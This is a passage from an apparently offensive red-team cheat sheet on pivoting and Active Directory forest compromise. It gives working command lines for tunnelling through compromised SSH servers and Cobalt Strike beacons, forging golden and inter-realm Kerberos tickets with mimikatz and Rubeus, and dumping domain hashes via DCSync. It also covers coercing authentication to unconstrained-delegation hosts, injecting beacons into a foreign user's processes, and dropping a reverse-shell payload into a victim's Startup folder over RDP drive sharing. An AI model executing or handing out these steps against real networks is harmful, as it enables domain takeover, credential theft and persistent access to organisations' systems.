    - 3. Run tools through the SSH tunnel to reach local running services on the SSH-SERVER or services on other systems in the nested network: `proxychains4 <normal tool syntax>`
- Local Port Forwarding: Listen on local port 8080 and forward incoming traffic to REMOTE-HOST:PORT via already compromised SSH-SERVER (can also be used to access local running services on SSH-SERVER): `ssh -L 127.0.0.1:8080:<IP REMOTE-HOST>:<TARGET PORT> <username>@<IP SSH-SERVER>`
- Remote Port Forwarding: Open port 5555 (can be any available port) on the compromised SSH-SERVER. Incoming traffic to SSH-SERVER:5555 is tunnelled to your own system IP and specified port: `ssh -R 5555:<own IP or 127.0.0.1>:<port on own system to connect to> <username>@<IP SSH-SERVER>`

Port forwarding with socat:

- Option 1: **Linux**:
    - 1. Upload socat on the (target) system:
    - 2. Run socat to forward all traffic to the target (this method can also be used backwards to forward traffic from the target back to your C2 server through a redirector): `sudo socat -d -d TCP4-LISTEN:80,fork TCP4:<ip target system>:<port to connect to>`
- Option 2: **Windows**:
    - 1. Upload all widows socat files to the (target) system
    - 2. Run socat to forward all traffic on a specific port to a remote server: `.\socat.exe -d -d TCP4-LISTEN:<local port>,fork TCP4:<target ip>:<target port>`

Port forwarding based on port bending:

- (info) Requires admin privileges to either add the necessary drivers or modify the firewall. Furthermore, this pretty much breaks any SMB service (or other) on the machine.

- Option 1: **PortBender**: this tool allows for port bending and only works for Cobalt Strike:
  - 1. Start 2 beacons of which atleast 1 is running with high intergrity and use it for all below commands
  - 2. Upload the WinDivert64.sys driver to the "C:\Windows\System32\drivers" folder.
  - 3. Load the "PortBender.cna" Aggressor script: `Cobalt Strike > Script Manager`
  - 4. Create a reverse port forward that will relay the traffic from port 8445 to port 445 on the Team Server: `rportfwd 8445 127.0.0.1 445`
  - 5. Execute PortBender to redirect traffic from 445 to port 8445: `PortBender redirect 445 8445`
  - 6. Stop port bending:
    - 1. Identify the JID of the PortBender job: `jobs`
    - 2. Stop job: `jobkill <JID>`
    - 3. Stop process: `kill <PID PortBender>`
- Option 2: **StreamDivert**: this tool allows for port bending:
  - 1. Start 2 high intergrity beacons on the pivot system of which at least one can run socksproxy.
  - 2. Create a config file named "config.txt" and add the following content (optional to edit the '0.0.0.0' IP if you only want to redirect incomming traffic from a specific system): `tcp < 445 0.0.0.0 -> <own ip> 445`
  - 3. Upload the following StreamDivert files to the pivot system in the same folder (this should not trigger AV): StreamDivert.exe | StreamDivert.pdb | WinDivert64.sys | WinDivert.dll | config.txt
  - 4. Run StreamDivert to start the port redirect ('-f' will add 2 new firewall rules called "StreamDivert"): `.\StreamDivert.exe config.txt -f (-v)`
  - 5. Stop port bending:
    - 1. Stop the 'StreamDivert' tool (run from the other beacon):
      - 1: `tasklist /v |findstr "Stream"`
      - 2: `taskkill /f /pid <PID>`
    - 2. Delete added firewall rules: `netsh advfirewall firewall delete rule name="StreamDivert"`
    - 3. Delete all the uploaded tools (it may require a system reboot to delete the .sys driver)

Forest exploitation

Expand access within current forest:

Enumerate forest:

To determine the domain's you need to hop to get to your target, enumerate all trusts of the current domain and every trust of the new identified domains. If your final target is not within the current forest, you also need to start looking for ways to cross the forest security boundary.

- (info) Different trust explanation:
    - TrustType:
        - WINDOWS_NON_ACTIVE_DIRECTORY: a trusted Windows domain that is not running Active Directory.
        - WINDOWS_ACTIVE_DIRECTORY: a trusted Windows domain that is running Active Directory
        - MIT: a trusted domain that is running a non-Windows (*nix), RFC4120-compliant Kerberos distribution.
    - TrustAttributes:
        - WITHIN_FOREST: the trusted domain is within the same forest, meaning a parent/child or cross-link relationship.
        - NON_TRANSITIVE: if DomainA trusts DomainB and DomainB trusts DomainC, then DomainA does not (automatically) trust DomainC (can't query any AD information from trusts up the chain from the non-transitive point).
        - FOREST_TRANSITIVE: cross-forest trust link between the root domains of two forests.
        - TREAT_AS_EXTERNAL: SID filtering is disabled and can be exploited
        - Other options can be found here:
    - TrustDirection:
        - BIDIRECTIONAL: full trust relationship between two domains:
        - INBOUND: One-way trust relationship which means that the principals from the Source domain are trusted by the Target Domain.
        - OUTBOUND: One-way trust relationship which means that the principals from the Target domain are trusted by the Source Domain (can be an indicator for a Bastion forest).
- List domain trusts within the current forest (specify target domain to list trusts of that domain) (SharpView): `Get-DomainTrust (-Domain <target domain>) -API`
- Get information about a forest and DC names (specify target forest to list information about that forest) (SharpView): `Get-NetForest (-Forest <forest>)`

Compromise domain within forest:

Abuse parent/child relationship and create Intra-Forest trust ticket:

If you compromise a child domain, you can by definition also compromise the parent domain due to the implicit bidirectional trust relationship.

- (info) this method requires you to have DA level access in a child domain.
- 1. List and copy the SIDs of the current domain and the target domain (SharpView): `Get-DomainTrust -API`
- 2. Dump the aes256 key of the current domain krbtgt account

- 3. Forge a TGT (if its not working, use the '/target' option and specify the target domain) (for OPSEC run in local mimikatz): `kerberos::golden /domain:<current FQDN> /sid:<owned domain SID> /sids:<target domain SID>-512 /aes256:<krbtgt key> /user:Administrator /ticket:ticket.kirbi /startoffset:-10 /endin:600 /renewmax:10080`
- 4. Import the ticket and use it to access resources in the target domain (for cobalt strike use the 'make_token' + 'kerberos_ticket_use' method) (Rubeus): `rubues.exe ptt /ticket:C:\<path to>\ticket.kirbi`

Cross domains without DA level access:

There are also other means which do not require DA in the child domain. These methods are very similar as the techniques discriped below to cross a forest security boundary.

- Kerberoast and ASREProast across domain trusts
- If accounts from another domain have access to systems in the current domain, you can:
  - Capture their TGT if the system they logon to is configured for unconstrained delegation.
  - Coerce a high privileged computer to authenticate to a owned computer in the current domain that is configured for unconstrained delegation.
  - Impersonate any process (e.g. from RDP session) that the target user has running on the system.
- Look for users that have an account (with the same username) in both domains and try to reuse that password/hash.
- Enumerate users who are in groups outside of the current domain -but within the current forest- and may have some kind of outsite access (PowerShell): `Get-DomainForeignUser`

Expand access to domain in external forest:

Compromise external domain with one-way inbound/bidirectional trust:

In contrast to an intra-forest trust (every domain in the current forest), an inter-forest trust (multiple forests) is a security boundary that should block lateral movement between forests. Therefore, it is only possible to perform actions in the target forest, if one of the below techniques can be successfully leveraged.

Cross security boundary via user account/password reuse:

Look for users that have an account (with the same username) in both forests and try to reuse the password.

- 1. Request list of all users in the current and target domain (specify '/domain' option for the target domain) (PowerView): `Get-DomainUser (-Domain <FQDN target domain>) -Properties samaccountname |Out-File -encoding ascii users.txt`
- 2. Download both user lists to the local Linux machine and filter matching user names:
  - 1. Create for both downloaded lists and clean version (manually delete lines etc.): `cat users.txt | tr -d " " | sort > users1.txt`
  - 2. Compare both files and return matches: `comm -12 users1.txt users2.txt`
- 3. For the matching users, try password/hash reuse in the target domain.

Cross security boundary via user/group relationships:

Find relationships that cross the mapped trust boundaries by enumerating any users/groups/computers in one domain that can access resources in the other domain.

- 1. Enumerate any groups that contain users outside of its own domain and return its members (PowerView): `Get-DomainForeignGroupMember -Domain <target FQDN>`
- 2. Convert the SID from the returned 'MemberName' field in the current domain (PowerView): `ConvertFrom-SID <SID MemberName field>`

- 3. List computers in the foreign domain (PowerView): `Get-DomainComputer -Domain <FQDN target domain> -Properties DNSHostName`
- 4. Enumerate any local group membership of these computers and check if they are a member of an identified group that can cross the forest boundary (PowerView): `Get-NetLocalGroupMember -ComputerName <FQDN target computer>`
- 5. List members of the indentified group within the current domain and check what privileges they have in the foreign domain (PowerView): `Get-DomainGroupMember -Identity "<group name>" | select MemberName`
- 6. Impersonate the identified user that can access resources in the foreign domain:
    - Option 1: if cleartext password is known for CS (make sure you are in a global writeable directory): `make_token <domain>\<target user> <password>`
    - Option 2: if NTLM or AES hash is known:
        - 1. Request TGT (Rubeus): `Rubeus.exe asktgt /user:<target user> /domain:<FQDN current domain> /aes256:<hash> /opsec /nowrap`
        - 2. Request a referral ticket from the current domain, for the target domain (Rubeus): `Rubeus.exe asktgs /service:krbtgt/<FQDN target domain> /domain:<FQDN current domain> /dc:<FQDN DC current domain> /ticket:<string> /nowrap`
        - 3. Use this inter-realm TGT to request a TGS in the target domain (change service ticket to LDAP for DCSync) (for cobalt strike use the make_token + kerberos_ticket_use method instead of /ptt) (Rubeus): `Rubeus.exe asktgs /service:cifs/<FQDN DC target domain> /domain:<FQDN target domain> /dc:<FQDN DC target domain> /ticket:<string> (/nowrap) (/ptt)`
        - 4. If not already, import the ticket (for cobalt strike use the 'make_token' + 'kerberos_ticket_use' method).

Cross security boundary via SID Filtering:

When SID filtering is disabled (indicated by the 'TREAT_AS_EXTERNAL' in the 'TrustAttributes' attribute), it is possible to abuse the inter-forest trust like a intra-forest trust (domain within the forest) with some restrictions.

- (info) It is not possible to forge a ticket for any SID between 500 and 1000 or become DA via group inheritance for groups that are part of the "Global security group" (e.g. Domain Admins, Enterprise Admins).
- 1. Look for groups with >1000 SID's that have high privileges that still can be exploited (e.g. local admin groups for workstation/servers or Exchange security groups).
- 2. Use the 'Abuse parent/child relationship and create Intra-Forest trust ticket' method, change the parameters so it fits the above criteria and cross the forest boundary.

Cross security boundary abusing Unconstrained Deletation:

Try to capture a TGT of an computer- or user account that is allowed to cross the forest boundary on a system in the current domain that is configured for unconstrained delegation.

- 1. Check if you have access to a system in the current compromised forest that is configured with Unconstrained Delegation (e.g. DC).
- 2. Find a way to either: 1) coerce a high value computer account (e.g. DC), in the foerign target domain, to authenticate (e.g. PetitPotam) to the controlled unconstrained delegation enabled system in the current domain; or 2) trick a user with the privilege to cross the forest boundary to login to the unconstrained delegation enabled system.
- 3. To capture the TGT of the target, check the "Unconstrained Delegation" section and follow the attack steps.

- 4. After the ticket is imported, use DCSync to dump the target domain hashes (for better OPSEC, do this from the current domain's DC) (for PoshC2: run-exe SharpKatz.Program) (SharpKatz): `SharpKatz --Command dcsync --Domain <FQDN target domain in other forest> --DomainController <FQDN DC in other domain forest>`

Cross security boundary via kerberoasting & AS-REProasting:

- Check the 'ASREProast' and 'Kerberoast' section for usage and specify the target foreign domain.

Cross security boundary via impersonation:

- The 'Cross boundary via impersonation and RDPInjection' technique, discribed in the 'One-way outbound' section below, is also applicable for Inbound/Bidirectional trust relationships.

Compromise external domain with one-way outbound trust:

A one-way outbound trust relationship makes it impossible to access resources in the target domain. Therefore, it is not possible to query the target domain for information or forge inter-forest kerberos tickets. To bypass the security boundary, use techniques like RDPInception or MSSQL server link abuse (works if the link is created in the opposite trust direction).

Cross security boundary via impersonation and RDPInjection:

- (info) this method requires you to have high privileges on the system in the current domain that is used by the target foreign user.
- 1. Find non-native principals in the current root domain that are from other domains (PowerView): `Get-DomainForeignGroupMember -Domain <FQDN current domain>`
- 2. Check if the found principal (e.g. group) has privileged access (e.g. local admin, RDP/WinRM/DCOM) in the current domain and for which systems in the current domain they apply (check via BloodHound by looking up the found principal).
- 3. Move laterally to those machines, camp there until you see a user account from the other domain authenticate and then exploit the situation:
    - 1. First try impersonating the target user to hop the trust:
        - 1. Check if there are any (remote management) processes running (e.g. RDP): `netstat -anop tcp | findstr 3389`
        - 2. List the processes and check if the identified process is running as a foreign domain user: `tasklist /v`
        - 3. Inject a beacon into one of the identified service processes of the foreign user which allows you to instantly run commands (in the context of that user account) in the foreign domain (this will bypass the forest security boundary): `inject <PID> x64 <tcp listener>`
    - 2. (optional) If that didn't work because the foreign user account doesn't have local admin access or there are no juicy management ports available, it may still be possible to move laterally via an established RDP channel if drive sharing is enabled on the foreign RDP client (attack called RDPInception):
        - (info) the drive sharing option can be found here in the RDP client: `Show Options > Local Resources tab > More > enable 'Drives' > enable 'Local Disk (C:)'`
        - 1. Upload via the accessible 'tsclient' drive (the C drive on the target system) a reverse shell .exe payload to the startup folder of the foreign user: `\\tsclient\c\Users\<username foreign user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\`
        - 2. The payload will be executed the next time the foreign user logs in.

Cross security boundary via Shadow Principles:

An outbound trust direction can also indicate the presence of a bastion forest. This is a type of cross-forest trust (PAM-trust) where privileged accounts are isolated from what Microsoft considers to be forests that might already been compromised. This is done via Shadow Security Principles.

- 1. Check if Shadow Principles are applied and which account are member of the bastion forest (run this command with DA privs from the DC) (PowerView_dev.ps1): `Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl`
- 2. If you are able to compromise a user account mentioned as 'member' of the bastion forest, you instantly obtain EA privs and compromise the complete forest.